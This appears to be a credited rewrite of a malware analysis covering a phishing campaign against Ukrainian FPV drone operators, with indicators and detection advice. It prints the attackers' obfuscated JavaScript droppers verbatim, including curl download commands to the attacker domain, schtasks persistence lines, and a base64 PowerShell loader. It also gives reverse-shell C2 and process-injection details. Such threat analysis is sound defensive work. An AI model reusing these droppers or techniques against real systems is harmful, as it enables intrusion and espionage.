Original English rewrite with full credit. This article is an independent English-language rewrite of “UAC-0244 / UAC-0247: Malware Targeting FPV drone operators” by Robin Dost, published on the Synaptic Security Blog on May 21, 2026.
All original research, screenshots, decoded scripts, hashes, infrastructure findings, and the IIM Chain diagram remain the work of the original author. Please read the source for the complete, definitive analysis — this rewrite exists to make the work accessible to a wider English-speaking audience on core-jmp.org with explicit attribution.
Source: blog.synapticsystems.de/uac-0247-malware-targeting-fpv-operators

Executive Summary
A Ukrainian-language phishing campaign tracked first as UAC-0247 — and confirmed by CERT-UA to be the same operator cluster previously tagged UAC-0244 — has been targeting FPV drone operators and Ukrainian military personnel since at least late February 2026. The lure abuses the brand of UkrVarta, a Ukrainian foundation that supplies FPV drones and other equipment to military units, dressing the malicious payload up as a humanitarian-aid application form. A multi-stage chain — ZIP → LNK → mshta.exe → obfuscated JavaScript inside an HTA → curl-delivered binary → injected reverse shell — quietly establishes persistence through a 10-minute scheduled task masquerading as “OneDriveUpdater”.
The interesting value of Robin Dost’s research is not just the malware itself: it’s the visibility into the operator’s evolution. By comparing two generations of the same dropper (dopomoga.hta vs. dopomoga.hta.old), the post documents how the actor traded a noisy PowerShell EncodedCommand + in-script XOR for a quieter curl-and-server-side-decrypt pattern, removed the embedded XOR key (fuck in ASCII) from the client, renamed the scheduled task to drop a tell-tale space (“OneDrive Updater” → “OneDriveUpdater”), and added /f to keep clobbering existing scheduled tasks. Combined with directory-listing leaks on the staging server, that timeline tells you almost as much about the actor as the binaries do.
Hashes & Sample Locations
The original article publishes the following samples on the author’s Malwarebox / Mantis platform. They are reproduced here exactly as listed in the source so analysts can pull the same artefacts.
| SHA-256 | Description | Download |
|---|---|---|
8040da63a8f5be3fec9724d6d6e6f101f5336d99be309bf0b7cd781f12aace15 | Initial ZIP archive (the “humanitarian aid form” lure) | mantis.malwarebox.eu |
c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9 | updater.exe — stage-1 loader | mantis.malwarebox.eu |
b1d765f50f5c53702658b7a59a9bd05cfb042ea6b2d150191a84c53d373b9e4a | Final encrypted reverse shell payload | mantis.malwarebox.eu |
The unpacked final payload is also identified in the original analysis as EncryptedReverseShell.exe with SHA-256 268400390be82fcb46f1b23e0319f2f2ba477e392014b41b57df587b99ecc3c5 (MD5 1c95b3d3ac3d6f9c839df333532060b4).


LNKParse output: the shortcut launches mshta.exe against a remote HTA hosted on ukrvarta[.]online. Source: original article.


/dopomoga/ — an OPSEC failure that exposed the entire staging tree to anyone who guessed the path. Source: original article.
/conference/ — the older variant’s staging path was equally indexable. Source: original article.
ukrvarta[.]online via DomainTools. Source: original article.
dopomoga.hta
The current-generation HTA at https://ukrvarta[.]online/dopomoga/dopomoga.hta sources an external script.js from the same path. The JavaScript is obfuscated with the standard string-array / function-rotation pattern (obfuscator.io-style), but with one indirection layer it is trivially recovered:



The cleaned-up JavaScript (function-renaming and constant inlining left for clarity) is reproduced verbatim from the source:
var _0x3a94ab = _0x423d;
(function(_0x2c8484, _0x4bc3b2) {
var _0x1c7b96 = _0x423d,
_0xd85eea = _0x2c8484();
while (!![]) {
try {
var _0x549a15 = parseInt(_0x1c7b96(0x75)) / 0x1 * (parseInt(_0x1c7b96(0x69)) / 0x2) + parseInt(_0x1c7b96(0x74)) / 0x3 * (parseInt(_0x1c7b96(0x68)) / 0x4) + parseInt(_0x1c7b96(0x6d)) / 0x5 * (parseInt(_0x1c7b96(0x71)) / 0x6) + -parseInt(_0x1c7b96(0x70)) / 0x7 + parseInt(_0x1c7b96(0x6e)) / 0x8 + -parseInt(_0x1c7b96(0x67)) / 0x9 + -parseInt(_0x1c7b96(0x6a)) / 0xa;
if (_0x549a15 === _0x4bc3b2) break;
else _0xd85eea['push'](_0xd85eea['shift']());
} catch (_0x4fe4a6) {
_0xd85eea['push'](_0xd85eea['shift']());
}
}
}(_0x2ef8, 0x1a797));
function _0x423d(_0x3e372e, _0x38ee68) {
_0x3e372e = _0x3e372e - 0x66;
var _0x2ef82a = _0x2ef8();
var _0x423df7 = _0x2ef82a[_0x3e372e];
return _0x423df7;
}
function _0x2ef8() {
var _0x4ef266 = ['130JQmnzp', '3147470risYJl', 'ExpandEnvironmentStrings', 'Run', '10515Kkhyjk', '884136eDOoYM', 'FolderExists', '181503MnBNuA', '450VEtRbM', 'Scripting.FileSystemObject', 'cmd /c curl https://ukrvarta[.]online/dopomoga/updater.txt -o %LOCALAPPDATA%\\OneDriveUpdater\\OneDriveUpdater.exe', '9jfLoPO', '372NwroHM', 'cmd /c schtasks /create /tn "OneDriveUpdater" /tr "%LOCALAPPDATA%\\OneDriveUpdater\\OneDriveUpdater.exe" /sc MINUTE /mo 10 /ru "%USERNAME%" /f', 'CreateFolder', '55215VCwWVW', '217104rlhWVm'];
_0x2ef8 = function() {
return _0x4ef266;
};
return _0x2ef8();
}
var shell = new ActiveXObject('WScript.Shell'),
fso = new ActiveXObject(_0x3a94ab(0x72)),
dir = shell[_0x3a94ab(0x6b)]('%LOCALAPPDATA%\\OneDriveUpdater');
if (!fso[_0x3a94ab(0x6f)](dir)) fso[_0x3a94ab(0x66)](dir);
shell[_0x3a94ab(0x6c)](_0x3a94ab(0x73), 0x0, !![]), shell['Run'](_0x3a94ab(0x76), 0x0, !![]);
Stripped of the indirection, the loader does exactly two things: curl the binary out of /dopomoga/updater.txt into %LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe, then register a 10-minute scheduled task pointing at it.
dopomoga.html
The HTML companion to the HTA serves an embedded ZIP and instructs the visitor to extract and double-click. The page’s structure is identical between the two variants modulo small cosmetic changes — the form was simplified from checkbox-driven categories to a single free-text field, which Robin Dost reads as a deliberate move to make the lure feel more like an actual aid request.

dopomoga.html dropper analysis. Source: original article.conference.hta
The older sibling, conference.hta, sits under the previous staging path (/conference/). It carries the same overall design — obfuscated JS, scheduled-task persistence — but in this generation the JavaScript’s string array still holds a base64-encoded PowerShell payload that performs the XOR decryption itself, rather than relying on the server to serve a plaintext binary.

conference.hta analysis — older variant with embedded PowerShell + XOR. Source: original article.conference2026_webdavroot.html
An additional artefact under /conference/ is the conference2026_webdavroot.html page, which redirects the victim toward a WebDAV share on ukrvarta[.]online:8080/davwwwroot. WebDAV-borne LNK / HTA delivery is recurring in this actor’s toolbox — it sidesteps Mark-of-the-Web on the LNK without needing an ISO/IMG container.

conference2026_webdavroot.html WebDAV delivery vector. Source: original article.dopomoga.html vs dopomoga.html.old: what the diff reveals
The most instructive part of the post is the diff between the two HTML/JS generations. The newer one is meaningfully quieter on EDR shelves.

dopomoga.html and dopomoga.html.old. Source: original article.
XOR-encrypted payload removed
The old variant decoded a base64 PowerShell blob client-side, which contained the XOR-decrypt routine. The four-byte key was the ASCII string fuck (0x66 0x75 0x63 0x6b):
$url = "https://ukrvarta[.]online/conference/updater.txt"
$outPath = "$env:LOCALAPPDATA\OneDriveUpdater\OneDriveUpdater.exe"
$key = [byte[]](0x66,0x75,0x63,0x6b)
$bytes = (New-Object System.Net.WebClient).DownloadData($url)
$out = New-Object byte[] $bytes.Length
for ($i = 0; $i -lt $bytes.Length; $i++) {
$out[$i] = $bytes[$i] -bxor $key[$i % $key.Length]
}
New-Item -ItemType Directory -Force -Path (Split-Path $outPath) | Out-Null
[IO.File]::WriteAllBytes($outPath, $out)
The new variant ditches the whole thing: the server now hands back the binary already decoded, and the client just curls it to disk.
PowerShell EncodedCommand removed
The old loader is the kind of thing that lights up every EDR PowerShell rule: a long powershell -ep bypass -NoProfile -WindowStyle Hidden -e "<base64>" command line. The new variant replaces that with a plain cmd /c curl … -o …. The full original obfuscated JavaScript from the old variant — including the base64 EncodedCommand — is preserved verbatim for completeness:
var _0x983f2c = _0x5181;
function _0x151a() {
var _0x46139d = ['1310370daJGwY', '100kyJUCo', 'CreateFolder', 'ExpandEnvironmentStrings', '28156932gkTQNF', 'JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB1AGsAcgB2AGEAcgB0AGEALgBvAG4AbABpAG4AZQAvAGMAbwBuAGYAZQByAGUAbgBjAGUALwB1AHAAZABhAHQAZQByAC4AdAB4AHQAIgAKACQAbwB1AHQAUABhAHQAaAAgAD0AIAAiACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQBcAFwATwBuAGUARAByAGkAdgBlAFUAcABkAGEAdABlAHIAXABcAE8AbgBlAEQAcgBpAHYAZQBVAHAAZABhAHQAZQByAC4AZQB4AGUAIgAKACQAawBlAHkAIAA9ACAAWwBiAHkAdABlAFsAXQBdACgAMAB4ADYANgAsADAAeAA3ADUALAAwAHgANgAzACwAMAB4ADYAYgApAAoAJABiAHkAdABlAHMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAdQByAGwAKQAKACQAbwB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAoAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsACgAgACAAIAAgACQAbwB1AHQAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAcwBbACQAaQBdACAALQBiAHgAbwByACAAJABrAGUAeQBbACQAaQAgACUAIAAkAGsAZQB5AC4ATABlAG4AZwB0AGgAXQAKAH0ACgBOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAoAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAkAG8AdQB0AFAAYQB0AGgAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAbwB1AHQAUABhdH=', 'WScript.Shell', '3gPnEdG', '642260aMAGfo', 'cmd /c schtasks /create /tn "OneDrive Updater" /tr "%LOCALAPPDATA%\\OneDriveUpdater\\OneDriveUpdater.exe" /sc MINUTE /mo 10 /ru "%USERNAME%"', 'FolderExists', '3920912ddfJWR', 'Run', '8752373xtHrec', '%LOCALAPPDATA%\\OneDriveUpdater', 'powershell -ep bypass -NoProfile -WindowStyle Hidden -e "', '7080552AbMXlm', '125420YqUUQN'];
_0x151a = function() {
return _0x46139d;
};
return _0x151a();
}(function(_0x5b2a70, _0x596711) {
var _0x382d07 = _0x5181,
_0x25a5cc = _0x5b2a70();
while (!![]) {
try {
var _0x1b72c2 = -parseInt(_0x382d07(0x1ae)) / 0x1 + -parseInt(_0x382d07(0x1a6)) / 0x2 * (-parseInt(_0x382d07(0x1ad)) / 0x3) + parseInt(_0x382d07(0x1a7)) / 0x4 * (parseInt(_0x382d07(0x1a5)) / 0x5) + -parseInt(_0x382d07(0x1a6)) / 0x6 + -parseInt(_0x382d07(0x1b3)) / 0x7 + -parseInt(_0x382d07(0x1b1)) / 0x8 + parseInt(_0x382d07(0x1aa)) / 0x9;
if (_0x1b72c2 === _0x596711) break;
else _0x25a5cc['push'](_0x25a5cc['shift']());
} catch (_0x332af4) {
_0x25a5cc['push'](_0x25a5cc['shift']());
}
}
}(_0x151a, 0xcf09c));
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
fso = new ActiveXObject('Scripting.FileSystemObject'),
dir = shell[_0x983f2c(0x1a9)](_0x983f2c(0x1a2));
!fso[_0x983f2c(0x1b0)](dir) && fso[_0x983f2c(0x1a8)](dir);
function _0x5181(_0x151920, _0x3b71ee) {
_0x151920 = _0x151920 - 0x1a2;
var _0x151a28 = _0x151a();
var _0x518101 = _0x151a28[_0x151920];
return _0x518101;
}
var shell = new ActiveXObject(_0x983f2c(0x1ac)),
ps = _0x983f2c(0x1ab);
shell[_0x983f2c(0x1b2)](_0x983f2c(0x1a3) + ps + '"', 0x0, !![]), shell[_0x983f2c(0x1b2)](_0x983f2c(0x1af), 0x0, !![]);
URL changed
The download URL flipped from https://ukrvarta[.]online/conference/updater.txt to https://ukrvarta[.]online/dopomoga/updater.txt. The path change tracks the lure’s reframing from “conference” to “dopomoga” (aid).
Scheduled task name changed
“OneDrive Updater” (with space) became “OneDriveUpdater” (no space). It’s a small change with a meaningful detection consequence: defenders who had keyed alerts on the exact older name will miss the new one until they widen the rule.
/f was added
The new schtasks /create command line carries /f, which forces overwriting an existing task without prompting. That suggests the actor has seen cases where their own scheduled task was already present (re-infection, repeated execution from the lure), and they want clean re-deployment.
updater.exe
The dropped binary (c06cc6122b798f88a05a088bfed39594af86ba714da89fec5ca62d7119782df9) is a PE32+ x86-64 GUI executable, 222056 bytes, with a PE TimeDateStamp of Saturday, March 14 2026 20:42:39 UTC. Image base 0x140000000, entry-point RVA 0x20a4. The Authenticode certificate references the Microsoft code-signing chain — the source notes that the validity of that chain was not verified, and the implication is the certificate is a leftover, embedded for show.

updater.exe. Source: original article.Resolved syscalls
updater.exe resolves a small set of NTDLL functions through a CRC32-based hash table. Robin Dost recovers the following mapping:
| CRC32 hash | Resolved function |
|---|---|
dbf381b5 | NtOpenProcess |
e0762feb | NtAllocateVirtualMemory |
e4879939 | NtWriteVirtualMemory |
5c2d1a97 | NtProtectVirtualMemory |
2073465a | NtCreateThreadEx |
dd554681 | NtWaitForSingleObject |
Injection chain
The chosen injection target is RuntimeBroker.exe — a process that’s ubiquitous on modern Windows desktops and rarely flagged by humans during triage. The sequence is:
NtOpenProcesson the targetRuntimeBroker.exe.NtAllocateVirtualMemoryfor0x19321bytes, initiallyPAGE_READWRITE.NtWriteVirtualMemorywrites the encoded payload into the freshly allocated region.NtProtectVirtualMemoryflips the region toPAGE_NOACCESS.Sleep(47999)— roughly 48 seconds of doing nothing, designed to outlast quick-look sandbox runs.NtProtectVirtualMemoryflips the region toPAGE_EXECUTE_READ.NtCreateThreadExstarts the new thread on the now-executable shellcode.NtWaitForSingleObjectwaits for it to complete.
The PAGE_READWRITE → PAGE_NOACCESS → PAGE_EXECUTE_READ transition is the interesting piece: leaving the region briefly inaccessible — not RWX — defeats the simplest behavioural detections that watch for “write then execute” on the same page without an inert intermediate state. The shellcode itself is stored XOR-encoded in the .data section at VA 0x14001a000 (raw offset 0x18000), keyed with the single byte 0x66. After decryption the first eight bytes are 57 31 c0 b9 0a 00 00 00.
Shellcode / nested loader
The decrypted blob is a nested loader. It walks an internal package format, resolves a handful of additional APIs by hash (LdrLoadDll, NtAllocateVirtualMemory, NtProtectVirtualMemory, NtFreeVirtualMemory), and then uses RtlDecompressBuffer with format 0x2 (LZNT1) to inflate the final payload into a fresh allocation.
Final payload
The inflated payload is a PE32+ x86-64 GUI binary, 0x20800 bytes (133120), with a PE TimeDateStamp of Tuesday, March 3 2026 19:53:17 UTC and entry-point VA 0x140001978. Its PDB string was left in: C:\Users\user\source\repos\EncryptedReverseShell\x64\Release\EncryptedReverseShell.pdb — which gives the project away by name.
C2 / Reverse shell
The reverse shell connects to a hard-coded IPv4 address and port:
lea rcx, [109.237.97.4]
call inet_addr
mov ecx, 0x20fb
call htons
// 0x20fb = 8443 in decimal
Once connected, the protocol is XOR-obfuscated with a 9-byte rolling key 01 01 02 03 74 15 04 ff ee. Command execution uses the classic cmd /C %s pattern with anonymous pipes capturing stdout/stderr back into the encrypted stream.
IIM Chain & pattern
The author overlays the campaign on his Infrastructure Intelligence Model (IIM) — a framework that treats each campaign as a connected graph of staging files, hosts, and timing signals rather than a flat list of IOCs. The full diagram is published as an SVG at blog.synapticsystems.de/wp-content/uploads/2026/04/uac_0247_ukrvarta_fpv_dopomoga_2026_03-1.svg (we link rather than re-host the SVG because the WordPress install on core-jmp.org currently rejects SVG uploads). An interactive version exists at mantis.malwarebox.eu.
The chain is active from February 24, 2026 through March 22, 2026 — 27 days — with two very tight timing fingerprints reproduced verbatim from the source:
| Weekday | Count |
|---|---|
| Tuesday | 4 |
| Wednesday | 1 |
| Friday | 1 |
| Saturday | 1 |
| Sunday | 5 |
| Time window | Count |
|---|---|
| 00:00-00:59 | 1 |
| 17:00-17:59 | 1 |
| 20:00-20:59 | 5 |
| 21:00-21:59 | 1 |
| 22:00-22:59 | 4 |
Ten of twelve events fall between 20:00 and 22:59 — a strong working-hours signal. Sunday and Tuesday dominate. Combined with the Russian hosting provider and the Ukrainian-language lure, the timing supports the actor profile sketched by CERT-UA.
Attribution
The original post cites CERT-UA as the authority that ties the two cluster identifiers together. Both the Ukrainian original and the author’s English translation are quoted verbatim from the source:
CERT-UA звертає увагу спільноти на те, що активність, описана в цій статті як окремий кластер кіберзагроз UAC-0247, фактично здійснюється особами, діяльність яких раніше відстежувалася за ідентифікатором UAC-0244
CERT-UA draws the community’s attention to the fact that the activity described in this article as a separate cyber threat cluster UAC-0247 is actually carried out by individuals whose activity was previously tracked under the identifier UAC-0244.
CERT-UA, via the original article
The source also reproduces UkrVarta’s mission statement as a reminder of what the actor is mimicking:
A Technological Edge for Victory. UkrVarta supplies units with state-of-the-art FPV drones, UAVs, various types of equipment, PES tools and platforms for knowledge sharing between the military and industry.
UkrVarta — reproduced from the source article
Key Takeaways
- UAC-0247 = UAC-0244 per CERT-UA — not a new actor, an evolution. Detection content built around the older identifier still applies, but should be refreshed for the new artefact names (
OneDriveUpdaterwithout space;/dopomoga/path). - FPV drone operators and UkrVarta donors are the social-engineering target. Anyone fielding humanitarian-aid forms in the Ukrainian theatre should treat
.lnkattachments andmshta-launched HTAs as default-hostile. - HTA + obfuscated JS + curl is the new quiet path. The actor explicitly traded PowerShell
EncodedCommandfor plaincurlto evade behavioural rules — mirror that move in your detections. - Persistence is a 10-minute scheduled task named “OneDriveUpdater” under
%LOCALAPPDATA%\OneDriveUpdater\OneDriveUpdater.exe. The masquerade is shallow but effective during quick triage. - Final payload lives in RuntimeBroker.exe, reached via a
RW → NoAccess → ~48s sleep → RXpage-protection dance — a deliberate sandbox-bait pattern. - OPSEC is mediocre. Open directory listings, hard-coded C2 IP, leftover PDB path (
EncryptedReverseShell.pdb), and a Russian hosting provider all leak the campaign. The actor is consistent, not careful.
Defensive Recommendations
- Block
mshta.exespawning from user-writable paths (Downloads, Desktop, Temp, mounted ZIPs, WebDAV). This kills the LNK->HTA bridge entirely. - Alert on
schtasks /createwith/sc MINUTEand/mo 10-style cadence under a user-context/ru. Sub-hourly scheduled tasks are rare in legitimate corporate use. - Hunt for files under
%LOCALAPPDATA%\OneDriveUpdater\— the real OneDrive updater does not use this path. - Block egress to
109.237.97.4:8443and toukrvarta[.]onlineon perimeter and DNS. Addnuxt.cloudnetblocks to enhanced inspection if your environment has no business there. - Detect curl spawned by
mshtaor by JavaScript-hosted ActiveX —WScript.Shell.Run("cmd /c curl … -o …")is a high-signal anomaly. - YARA / Sigma the PDB string
EncryptedReverseShell.pdband the CRC32 hash set above. Cheap, durable, low-false-positive. - Watch for
RuntimeBroker.exeoutbound connections — on a clean host it should never speak to arbitrary internet IPs on 8443. - For Ukrainian organisations specifically: brief FPV-equipment recipients that legitimate UkrVarta correspondence never ships a
.lnkfile. Pair the brief with CERT-UA’s advisory.
Conclusion
UAC-0247 is a textbook example of why we keep finding HTA-based intrusions on Windows in 2026: the technique is older than most analysts, the legitimate uses are essentially zero, and the actor footprint — an LNK, a scheduled task, a 9-byte XOR — is small enough to slip past tooling that has been tuned for newer attack surfaces. Robin Dost’s post is worth reading in full not only for the IOCs but for what the diff between the two variants tells us: the operator is iterating, watching what gets caught, and quietly removing the loud bits. Defensive content that catches one variant will not catch the next unless it’s anchored on behaviour (mshta → curl, sub-hourly scheduled tasks under %LOCALAPPDATA%, RuntimeBroker reaching out to 8443) rather than strings.
This article is an independent English-language rewrite of «UAC-0244 / UAC-0247: Malware Targeting FPV drone operators» by Robin Dost, originally published on the Synaptic Security Blog. All research, screenshots, decoded scripts, and the IIM Chain diagram are the work of the original author. Please cite Robin Dost / Synaptic Security Blog when referencing this material.

